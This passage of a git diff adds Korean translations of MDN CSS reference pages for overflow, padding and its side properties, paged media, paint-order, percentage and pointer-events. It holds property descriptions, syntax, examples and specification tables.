적용 가능한 방법은 잘라내기, 스크롤바 노출, 넘친 콘텐츠 그대로 노출 등이 있습니다.

+ +

visible(기본값)이 아닌 다른 값으로 overflow 속성을 사용할 경우 새로운 블록 서식 문맥을 생성합니다. 이는 기술적인 요구사항으로, 만약 스크롤하는 요소와 float이 교차한다면, 각 스크롤 단계마다 내용물을 강제적으로 다시 감싸게 될 것입니다. 이는 결국 스크롤 속도를 느리게 할 것입니다.

+ +

overflow 속성이 효력을 갖기 위해선 반드시 블록 레벨 컨테이너의 높이(height 또는 max-height)를 설정하거나, white-spacenowrap으로 설정해야 합니다.

+ +
+

참고: 하나의 축을 visible(기본값)로 하고, 다른 축에는 다른 값을 지정할 경우 visibleauto처럼 동작합니다.

+
+ +
+

참고: JavaScript {{domxref("Element.scrollTop")}} 속성을 사용하면 요소의 overflowhidden일 때도 스크롤할 수 있습니다.

+
+ +

구문

+ +
/* 키워드 값 */
+overflow: visible;
+overflow: hidden;
+overflow: clip;
+overflow: scroll;
+overflow: auto;
+overflow: hidden visible;
+
+/* 전역 값 */
+overflow: inherit;
+overflow: initial;
+overflow: unset;
+
+ +

overflow 속성은 아래의 키워드 값을 하나 또는 두 개 사용해 지정합니다. 두 개를 사용한 경우 첫 번째 값은 overflow-x, 두 번째 값은 overflow-y를 지정합니다. 하나만 사용하면 지정한 값을 양 축 모두에 적용합니다.

+ +

+ +
+
visible
+
콘텐츠를 자르지 않으며 안쪽 여백 상자 밖에도 그릴 수 있습니다.
+
hidden
+
콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 스크롤바를 제공하지 않고, 스크롤할 방법(드래그, 마우스 휠 등)도 지원하지 않습니다. 코드를 사용해 스크롤할 수는 있으므로 ({{domxref("HTMLElement.offsetLeft", "offsetLeft")}} 속성 설정 등), 이 상태의 요소도 스크롤 컨테이너입니다.
+
clip {{experimental_inline}}
+
hidden과 마찬가지로, 콘텐츠를 안쪽 여백 상자에 맞춰 자릅니다. 그러나 clip은 코드를 사용한 스크롤링도 방지하므로 어떠한 스크롤도 불가능합니다. 이 상태의 요소는 스크롤 컨테이너가 아니며, 새로운 블록 서식 문맥도 생성하지 않습니다. 서식 문맥이 필요하다면 {{cssxref("display", "display:flow-root", "#flow-root")}}을 사용할 수 있습니다.
+
scroll
+
콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 브라우저는 콘텐츠를 실제로 잘라냈는지 여부를 따지지 않고 항상 스크롤바를 노출하므로 내용의 변화에 따라 스크롤바가 생기거나 사라지지 않습니다. 프린터는 여전히 넘친 콘텐츠를 출력할 수도 있습니다.
+
auto
+
{{glossary("user agent", "사용자 에이전트")}}가 결정합니다. 콘텐츠가 안쪽 여백 상자에 들어간다면 visible과 동일하게 보이나, 새로운 블록 서식 문맥을 생성합니다. 데스크톱 브라우저의 경우 콘텐츠가 넘칠 때 스크롤바를 노출합니다.
+
+ +
+
overlay {{deprecated_inline}}
+
auto와 동일하게 동작하지만, 스크롤바가 공간을 차지하는 대신 콘텐츠 위에 위치합니다. Webkit(Safari 등)과 Blink(Chrome 또는 Opera 등) 기반 브라우저만 지원합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
p {
+     width: 12em;
+     height: 6em;
+     border: dotted;
+     overflow: visible; /* content is not clipped */
+}
+
+ +

visible (default)
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: hidden; /* no scrollbars are provided */ }
+
+ +

overflow: hidden
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: scroll; /* always show scrollbars */ }
+
+ +

overflow: scroll
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: auto; /* append scrollbars if necessary */ }
+
+ +

overflow: auto
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Overflow', '#propdef-overflow', 'overflow')}}{{Spec2('CSS3 Overflow')}}
{{SpecName('CSS3 Box', '#overflow1', 'overflow')}}{{Spec2('CSS3 Box')}}No change
{{SpecName('CSS2.1', 'visufx.html#overflow', 'overflow')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.overflow")}}

+ +

같이 보기

+ +
    +
  • 관련 CSS 속성: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}
  • +
diff --git a/files/ko/web/css/padding-bottom/index.html b/files/ko/web/css/padding-bottom/index.html new file mode 100644 index 0000000000..119bc4fd25 --- /dev/null +++ b/files/ko/web/css/padding-bottom/index.html @@ -0,0 +1,111 @@ +--- +title: padding-bottom +slug: Web/CSS/padding-bottom +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding-bottom +--- +
{{CSSRef}}
+ +

padding-bottom CSS 속성은 요소의 아래쪽에 안쪽 여백 영역을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/padding-bottom.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +

The effect of the CSS padding-top property on the element box

+ +
+

참고: {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.

+
+ +

구문

+ +
/* <length> 값 */
+padding-bottom: 0.5em;
+padding-bottom: 0;
+padding-bottom: 2cm;
+
+/* <percentage> 값 */
+padding-bottom: 10%;
+
+/* 전역 값 */
+padding-bottom: inherit;
+padding-bottom: initial;
+padding-bottom: unset;
+
+ +

padding-top 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백margin과 다르게, 음수 값은 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { padding-bottom: 5%; }
+.sidebox { padding-bottom: 10px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-bottom') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-bottom') }}{{ Spec2('CSS3 Transitions') }}Defines padding-bottom as animatable.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-bottom') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding-bottom', 'padding-bottom') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding-bottom")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/padding-left/index.html b/files/ko/web/css/padding-left/index.html new file mode 100644 index 0000000000..d866466b4c --- /dev/null +++ b/files/ko/web/css/padding-left/index.html @@ -0,0 +1,109 @@ +--- +title: padding-left +slug: Web/CSS/padding-left +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding-left +--- +
{{CSSRef}}
+ +

padding-left CSS 속성은 요소의 왼쪽에 안쪽 여백 영역을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/padding-left.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +
+

참고: {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.

+
+ +

구문

+ +
/* <length> 값 */
+padding-left: 0.5em;
+padding-left: 0;
+padding-left: 2cm;
+
+/* <percentage> 값 */
+padding-left: 10%;
+
+/* 전역 값 */
+padding-left: inherit;
+padding-left: initial;
+padding-left: unset;
+
+ +

padding-left 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백margin과 다르게, 음수 값은 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { padding-left: 5%; }
+.sidebox { padding-left: 10px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-left') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-left') }}{{ Spec2('CSS3 Transitions') }}Defines padding-left as animatable.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-left') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding-left', 'padding-left') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding-left")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/padding-right/index.html b/files/ko/web/css/padding-right/index.html new file mode 100644 index 0000000000..44c0a5be73 --- /dev/null +++ b/files/ko/web/css/padding-right/index.html @@ -0,0 +1,109 @@ +--- +title: padding-right +slug: Web/CSS/padding-right +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding-right +--- +
{{CSSRef}}
+ +

padding-right CSS 속성은 요소의 오른쪽에 안쪽 여백 영역을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/padding-right.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +
+

참고: {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.

+
+ +

구문

+ +
/* <length> 값 */
+padding-right: 0.5em;
+padding-right: 0;
+padding-right: 2cm;
+
+/* <percentage> 값 */
+padding-right: 10%;
+
+/* 전역 값 */
+padding-right: inherit;
+padding-right: initial;
+padding-right: unset;
+
+ +

padding-right 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백margin과 다르게, 음수 값은 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { padding-right: 5%; }
+.sidebox { padding-right: 10px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-right') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-right') }}{{ Spec2('CSS3 Transitions') }}Defines padding-right as animatable.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-right') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding-right', 'padding-right') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding-right")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/padding-top/index.html b/files/ko/web/css/padding-top/index.html new file mode 100644 index 0000000000..708dd59e5d --- /dev/null +++ b/files/ko/web/css/padding-top/index.html @@ -0,0 +1,111 @@ +--- +title: padding-top +slug: Web/CSS/padding-top +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding-top +--- +
{{CSSRef}}
+ +

padding-top CSS 속성은 요소의 위쪽에 안쪽 여백 영역을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/padding-top.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +

The effect of the CSS padding-top property on the element box

+ +
+

참고: {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.

+
+ +

구문

+ +
/* <length> 값 */
+padding-top: 0.5em;
+padding-top: 0;
+padding-top: 2cm;
+
+/* <percentage> 값 */
+padding-top: 10%;
+
+/* 전역 값 */
+padding-top: inherit;
+padding-top: initial;
+padding-top: unset;
+
+ +

padding-top 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백margin과 다르게, 음수 값은 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { padding-top: 5%; }
+.sidebox { padding-top: 10px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-top') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-top') }}{{ Spec2('CSS3 Transitions') }}Defines padding-top as animatable.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-top') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding-top', 'padding-top') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding-top")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/padding/index.html b/files/ko/web/css/padding/index.html new file mode 100644 index 0000000000..e69023e569 --- /dev/null +++ b/files/ko/web/css/padding/index.html @@ -0,0 +1,158 @@ +--- +title: padding +slug: Web/CSS/padding +tags: + - CSS + - CSS Padding + - CSS Property + - Reference +translation_of: Web/CSS/padding +--- +
{{CSSRef}}
+ +

padding CSS 속성은 요소의 네 방향 안쪽 여백 영역을 설정합니다. {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/padding.html")}}
+ + + +

요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.

+ +
+

참고: padding은 요소의 내부에 빈 공간을 추가합니다. 반면 {{cssxref("margin")}}은 요소의 주위에 빈 공간을 만듭니다.

+
+ +

구문

+ +
/* 네 면 모두 적용 */
+padding: 1em;
+
+/* 세로방향 | 가로방향 */
+padding: 5% 10%;
+
+/* 위 | 가로방향 | 아래 */
+padding: 1em 2em 2em;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+padding: 5px 1em 0 2em;
+
+/* 전역 값 */
+padding: inherit;
+padding: initial;
+padding: unset;
+
+ +

padding 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("<length>")}}, {{cssxref("<percentage>")}} 중 하나로, 음수 값은 유효하지 않습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 여백을 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 여백을 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 여백을 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 여백을 지정합니다. (시계방향)
  • +
+ +

+ +
+
{{cssxref("length")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("percentage")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

간단한 예제

+ +

HTML

+ +
<h4>평범한 안쪽 여백을 가진 요소.</h4>
+<h3>엄청난 안쪽 여백을 가진 요소!</h3>
+
+ +

CSS

+ +
h4 {
+  background-color: lime;
+  padding: 20px 50px;
+}
+
+h3 {
+  background-color: cyan;
+  padding: 110px 50px 50px 110px;
+}
+
+ +

{{EmbedLiveSample('간단한_예제', '100%', 300)}}

+ +

더 많은 예제

+ +
padding: 5%;                /* 모두 5% */
+
+padding: 10px;              /* 모두 10px */
+
+padding: 10px 20px;         /* 상하: 10px */
+                            /* 좌우: 20px */
+
+padding: 10px 3% 20px;      /* 상: 10px */
+                            /* 좌우: 3% */
+                            /* 하: 20px */
+
+padding: 1em 3px 30px 5px;  /* 상:  1em */
+                            /* 우:  3px */
+                            /* 하: 30px */
+                            /* 좌:  5px */
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding') }}{{ Spec2('CSS3 Box') }}No change.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding') }}{{ Spec2('CSS3 Transitions') }}Defines padding as animatable.
{{ SpecName('CSS2.1', 'box.html#propdef-padding', 'padding') }}{{ Spec2('CSS2.1') }}No change.
{{ Specname('CSS1', '#padding', 'padding') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.padding")}}

+ +

같이 보기

+ +
    +
  • CSS 기본 박스 모델 입문
  • +
  • {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}.
  • +
diff --git a/files/ko/web/css/paged_media/index.html b/files/ko/web/css/paged_media/index.html new file mode 100644 index 0000000000..fd998e8d03 --- /dev/null +++ b/files/ko/web/css/paged_media/index.html @@ -0,0 +1,19 @@ +--- +title: Paged Media +slug: Web/CSS/Paged_Media +tags: + - CSS + - CSS3 + - Page Breaks +translation_of: Web/CSS/Paged_Media +--- +

인쇄 미디어(paged media) 속성은 인쇄 콘텐츠의 프레젠테이션 또는 콘텐츠를 개별 페이지로 나누는 다른 미디어를 제어합니다. 페이지 나누기 설정, 인쇄 가능 영역 제어, 서로 다른 좌우 페이지 스타일 및 요소 내부 나누기 제어를 할 수 있습니다. 널리 지원되는 속성은 포함합니다

+ +
    +
  • {{ cssxref("page-break-before") }}
  • +
  • {{ cssxref("page-break-after") }}
  • +
  • {{ cssxref("page-break-inside") }}
  • +
  • {{ cssxref("orphans") }}
  • +
  • {{ cssxref("widows") }}
  • +
  • {{ cssxref("@page") }}
  • +
diff --git a/files/ko/web/css/paint-order/index.html b/files/ko/web/css/paint-order/index.html new file mode 100644 index 0000000000..00b7ff9311 --- /dev/null +++ b/files/ko/web/css/paint-order/index.html @@ -0,0 +1,110 @@ +--- +title: paint-order +slug: Web/CSS/paint-order +tags: + - CSS + - Reference + - SVG + - Web + - 'recipe:css-property' +translation_of: Web/CSS/paint-order +--- +
{{CSSRef}}
+ +

CSS paint-order 속성은 텍스트 및 모양의 채움 색과 테두리(마커 포함)를 그리는 순서를 지정합니다.

+ +

구문

+ +
/* 일반 */
+paint-order: normal;
+
+/* 단일 값 */
+paint-order: stroke; /* draw the stroke first, then fill and markers */
+paint-order: markers; /* draw the markers first, then fill and stroke */
+
+/* 다중 값 */
+paint-order: stroke fill; /* draw the stroke first, then the fill, then the markers */
+paint-order: markers stroke fill; /* draw markers, then stroke, then fill */
+
+ +

아무것도 지정하지 않았을 때의 기본값은 fill, stroke, markers입니다.

+ +

하나의 값만 지정하면 그 값을 제일 먼저 그린 후, 기본값의 순서에 따라 나머지를 그립니다. 두 개를 지정하면 나머지 하나를 맨 나중에 그립니다.

+ +
+

참고: 마커의 경우 marker-* 속성(marker-start 등)과 <marker> 요소를 사용하는 SVG 모양의 경우에만 올바릅니다. HTML 텍스트는 이에 해당하지 않으므로 strokefill의 순서만 정할 수 있습니다.

+
+ +

+ +
+
normal
+
일반적인 그리기 순서를 사용합니다.
+
stroke,
+ fill,
+ markers
+
일부 항목 또는 모든 항목의 그리기 순서를 지정합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리와 채움 색 순서 바꾸기

+ +

SVG

+ +
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
+  <text x="10" y="75">stroke in front</text>
+  <text x="10" y="150" class="stroke-behind">stroke behind</text>
+</svg>
+ +

CSS

+ +
text {
+  font-family: sans-serif;
+  font-size: 50px;
+  font-weight: bold;
+  fill: black;
+  stroke: red;
+  stroke-width: 4px;
+}
+
+.stroke-behind {
+  paint-order: stroke fill;
+}
+ +

결과

+ +

{{EmbedLiveSample("테두리와_채움_색_순서_바꾸기", "100%", 165)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "painting.html#PaintOrder", "paint-order")}}{{Spec2("SVG2")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.paint-order")}}

diff --git a/files/ko/web/css/percentage/index.html b/files/ko/web/css/percentage/index.html new file mode 100644 index 0000000000..a6bf20bfb6 --- /dev/null +++ b/files/ko/web/css/percentage/index.html @@ -0,0 +1,86 @@ +--- +title: +slug: Web/CSS/percentage +tags: + - CSS + - CSS Data Type + - Layout + - Reference + - Web +translation_of: Web/CSS/percentage +--- +
{{CSSRef}}
+ +

<percentage> CSS 자료형은 백분율 값을 나타냅니다. 보통 부모 객체와의 상대적 크기를 지정할 때 사용합니다. {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("font-size")}} 처럼 다양한 속성에서 백분율을 쓸 수 있습니다.

+ +
참고: 계산된 값만 상속받을 수 있습니다. 따라서 부모 속성이 백분율 값을 사용하더라도 전달되는 값은 실제값(예컨대 너비의 {{cssxref("<length>")}} 값은 픽셀)이며 백분율 값은 접근할 수 없습니다.
+ +

구문

+ +

<percentage> 자료형은 {{cssxref("<number>")}}와 그 뒤의 백분율 기호(%)로 표기합니다. 선택적으로 하나의 + 또는 - 기호로 부호를 표기할 수 있지만, 음의 값은 어떤 속성에서도 유효하지 않습니다. 다른 CSS 단위와 마찬가지로 숫자와 기호 사이에 공백은 없습니다.

+ +

보간

+ +

애니메이션에서 <percentage> 자료형의 값은 유동소수점 실수를 사용해 보간됩니다. 보간의 속도는 애니메이션과 연결된 타이밍 함수가 결정합니다.

+ +

예제

+ +

widthmargin-left

+ +
<div style="background-color:blue;">
+  <div style="width:50%; margin-left:20%; background-color:lime;">
+    width: 50%, margin-left: 20%
+  </div>
+  <div style="width:30%; margin-left:60%; background-color:pink;">
+    width: 30%, margin-left: 60%
+  </div>
+</div>
+
+ +

{{EmbedLiveSample('width와_margin-left', '600', 140)}}

+ +

font-size

+ +
<div style="font-size:18px;">
+  <p>원본 텍스트 (18px)</p>
+  <p><span style="font-size:50%;">50%</span></p>
+  <p><span style="font-size:200%;">200%</span></p>
+</div>
+
+ +

{{EmbedLiveSample('font-size', 'auto', 160)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#percentages', '<percentage>')}}{{Spec2('CSS3 Values')}}No significant change from CSS Level 2 (Revision 1).
{{SpecName('CSS2.1', 'syndata.html#percentage-units', '<percentage>')}}{{Spec2('CSS2.1')}}No change from CSS Level 1.
{{SpecName('CSS1', '#percentage-units', '<percentage>')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.percentage")}}

diff --git a/files/ko/web/css/pointer-events/index.html b/files/ko/web/css/pointer-events/index.html new file mode 100644 index 0000000000..db74788d89 --- /dev/null +++ b/files/ko/web/css/pointer-events/index.html @@ -0,0 +1,168 @@ +--- +title: pointer-events +slug: Web/CSS/pointer-events +tags: + - CSS + - CSS Property + - Reference + - SVG +translation_of: Web/CSS/pointer-events +--- +
{{CSSRef}}
+ +

pointer-events CSS 속성은 그래픽 요소가 어떤 상황에서 포인터 이벤트의 대상이 될 수 있는지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/pointer-events.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+pointer-events: auto;
+pointer-events: none;
+pointer-events: visiblePainted; /* SVG only */
+pointer-events: visibleFill;    /* SVG only */
+pointer-events: visibleStroke;  /* SVG only */
+pointer-events: visible;        /* SVG only */
+pointer-events: painted;        /* SVG only */
+pointer-events: fill;           /* SVG only */
+pointer-events: stroke;         /* SVG only */
+pointer-events: all;            /* SVG only */
+
+/* 전역 값 */
+pointer-events: inherit;
+pointer-events: initial;
+pointer-events: unset;
+
+ +

pointer-events 속성은 아래 목록의 값 중 하나를 선택해서 지정할 수 있습니다.

+ +

+ +
+
auto
+
요소가 pointer-events 속성을 지정하지 않은 것처럼 행동합니다. SVG 콘텐츠에서는 autovisiblePainted가 동일한 효과를 지닙니다.
+
+ +
+
none
+
요소가 포인터 이벤트의 대상이 되지 않습니다. 그러나 해당 요소의 자손이 다른 pointer-events 값을 지정한 경우, 그 자손은 대상이 될 수 있습니다. 이 때는 이벤트 캡처/버블 단계에서 none을 지정한 요소의 이벤트 처리기를 발동할 수 있습니다.
+
+ +

SVG 전용 (HTML에서 실험적 기능)

+ +
+
visiblePainted
+
SVG only. The element can only be the target of a mouse event when the visibility property is set to visible and when the mouse cursor is over the interior (i.e., 'fill') of the element and the fill property is set to a value other than none, or when the mouse cursor is over the perimeter (i.e., 'stroke') of the element and the stroke property is set to a value other than none.
+
visibleFill
+
SVG only. The element can only be the target of a mouse event when the visibility property is set to visible and when the mouse cursor is over the interior (i.e., fill) of the element. The value of the fill property does not affect event processing.
+
visibleStroke
+
SVG only. The element can only be the target of a mouse event when the visibility property is set to visible and when the mouse cursor is over the perimeter (i.e., stroke) of the element. The value of the stroke property does not affect event processing.
+
visible
+
SVG only. The element can be the target of a mouse event when the visibility property is set to visible and the mouse cursor is over either the interior (i.e., fill) or the perimeter (i.e., stroke) of the element. The values of the fill and stroke do not affect event processing.
+
painted
+
SVG only. The element can only be the target of a mouse event when the mouse cursor is over the interior (i.e., 'fill') of the element and the fill property is set to a value other than none, or when the mouse cursor is over the perimeter (i.e., 'stroke') of the element and the stroke property is set to a value other than none. The value of the visibility property does not affect event processing.
+
fill
+
SVG only. The element can only be the target of a mouse event when the pointer is over the interior (i.e., fill) of the element. The values of the fill and visibility properties do not affect event processing.
+
stroke
+
SVG only. The element can only be the target of a mouse event when the pointer is over the perimeter (i.e., stroke) of the element. The values of the stroke and visibility properties do not affect event processing.
+
all
+
SVG only. The element can only be the target of a mouse event when the pointer is over the interior (i.e., fill) or the perimeter (i.e., stroke) of the element. The values of the fill, stroke and visibility properties do not affect event processing.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

설명

+ +

SVG 콘텐츠에 pointer-events를 지정하지 않은 경우, visiblePainted 값과 동일한 방법을 사용합니다.

+ +

none 값의 경우 요소가 포인터 이벤트의 대상이 아님을 가리키는 동시에, 이벤트가 요소를 "뚫고" 들어가 "아래" 요소를 대상으로 하도록 만듭니다.

+ +

다만, pointer-events를 사용해 요소가 포인터 이벤트의 대상이 되지 않도록 지정한다 하여도, 요소의 이벤트 수신기가 절대 발동하지 않거나, 아예 발동할 수 없는 상태가 되는 것은 아닙니다. 만약 자식 요소 중 하나의 pointer-events를 명시적으로 허용한 경우, 해당 자식을 대상으로 하는 이벤트는 평범하게 부모 트리를 타고 올라가며, 그 도중에 부모의 이벤트 수신기를 발동시게 됩니다. 물론, 부모 요소가 덮고 있지만 (포인터 이벤트를 허용한) 자식 요소 바깥의 영역은 클릭해도 부모와 자식 둘 다 감지하지 못합니다.

+ +

pointer-events: none을 지정한 요소여도 Tab 키를 사용한 순차적 키보드 내비게이션으로 인해 포커스를 획득할 수 있습니다.

+ +

We would like to provide finer grained control (than just auto and none) in HTML for which parts of an element will cause it to "catch" pointer events, and when. To help us in deciding how pointer-events should be further extended for HTML, if you have any particular things that you would like to be able to do with this property, then please add them to the Use Cases section of this wiki page (don't worry about keeping it tidy).

+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

기본 예제

+ +

다음 예제는 모든 이미지에서 포인터 이벤트(클릭, 드래그, 호버 등)를 비활성화합니다.

+ +
img {
+  pointer-events: none;
+}
+ +

링크 비활성화하기

+ +

다음 예제는 https://example.com으로 통하는 링크의 포인터 이벤트를 비활성화합니다.

+ +

HTML

+ +
<ul>
+  <li><a href="https://developer.mozilla.org">MDN</a></li>
+  <li><a href="http://example.com">example.com</a></li>
+</ul>
+ +

CSS

+ +
a[href="http://example.com"] {
+  pointer-events: none;
+}
+ +

결과

+ +
{{EmbedLiveSample("링크_비활성화하기", "500", "100")}}
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('SVG2', 'interact.html#PointerEventsProperty', 'pointer-events')}}{{Spec2('SVG2')}}
{{SpecName('SVG1.1', 'interact.html#PointerEventsProperty', 'pointer-events')}}{{Spec2('SVG1.1')}}Initial definition
+ +

Its extension to HTML elements, though present in early drafts of CSS Basic User Interface Module Level 3, has been pushed to its level 4.

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.pointer-events")}}

+ +

같이 보기

+ +
    +
  • The SVG attribute {{SVGAttr("pointer-events")}}
  • +
  • The SVG attribute {{SVGAttr("visibility")}}
  • +
  • WebKit Specs PointerEventsProperty extended for use in (X)HTML content
  • +
  • {{cssxref("user-select")}} - controls whether the user can select text
  • +
